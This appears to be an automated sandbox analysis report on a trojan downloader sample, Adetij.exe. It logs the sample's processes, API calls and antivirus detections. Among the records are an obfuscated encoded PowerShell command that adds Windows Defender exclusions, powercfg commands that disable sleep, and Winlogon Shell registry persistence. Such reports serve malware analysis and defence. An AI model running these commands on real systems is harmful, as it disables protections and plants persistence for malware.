NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (5 events)

cmdline	powershell -EncodedCommand "PAAjAGsAbQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawByAGgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABrACMAPgA="
cmdline	"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
cmdline	cmd cmd /c powershell -EncodedCommand "PAAjAGsAbQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawByAGgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABrACMAPgA="
cmdline	"C:\Windows\System32\cmd.exe" /c timeout 45
cmdline	"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGsAbQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawByAGgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABrACMAPgA="

Executes one or more WMI queries (2 events)

wmi	SELECT Name, VideoProcessor FROM Win32_VideoController
wmi	Select CommandLine from Win32_Process WHERE CommandLine LIKE '%sprdwjiknw%'

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
ShellExecuteExW May 20, 2022, 1:10 p.m.	show_type: 0 filepath_r: cmd parameters: /c timeout 45 filepath: cmd	1	1
ShellExecuteExW May 20, 2022, 1:11 p.m.	show_type: 0 filepath_r: cmd parameters: cmd /c powershell -EncodedCommand "PAAjAGsAbQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawByAGgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABrACMAPgA=" filepath: cmd	1	1
ShellExecuteExW May 20, 2022, 1:12 p.m.	show_type: 0 filepath_r: cmd parameters: cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 filepath: cmd	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 20, 2022, 1:10 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW May 20, 2022, 1:11 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW May 20, 2022, 1:11 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

reg_value

explorer.exe,"C:\Users\test22\AppData\Roaming\Qseogwth\Idndsiwy.exe",

File has been identified by 31 AntiVirus engines on VirusTotal as malicious (31 events)

Lionic	Trojan.Multi.Generic.4!c
Elastic	malicious (high confidence)
DrWeb	Trojan.DownloaderNET.381
MicroWorld-eScan	Trojan.GenericKD.49040659
ALYac	Trojan.GenericKD.49040659
Cylance	Unsafe
Sangfor	Suspicious.Win32.Save.a
Cyren	W64/Trojan3.ARJN
Symantec	Trojan.Gen.MBT
ESET-NOD32	MSIL/TrojanDownloader.Agent.LVV
Kaspersky	HEUR:Trojan-Downloader.MSIL.Agent.gen
BitDefender	Trojan.GenericKD.49040659
Avast	Win64:TrojanX-gen [Trj]
Tencent	Msil.Trojan-downloader.Agent.Ljak
Ad-Aware	Trojan.GenericKD.49040659
McAfee-GW-Edition	Artemis!Trojan
FireEye	Trojan.GenericKD.49040659
Sophos	Mal/Generic-S
SentinelOne	Static AI - Suspicious PE
Webroot	W32.Trojan.Gen
Avira	HEUR/AGEN.1216629
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	Trojan:Win32/Wacatac.B!ml
GData	Win64.Trojan.Agent.895EX6
Cynet	Malicious (score: 99)
McAfee	Artemis!34762BCB146D
MAX	malware (ai score=88)
APEX	Malicious
Ikarus	Trojan-Downloader.MSIL.Agent
Fortinet	PossibleThreat.MU
AVG	Win64:TrojanX-gen [Trj]

Adetij.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All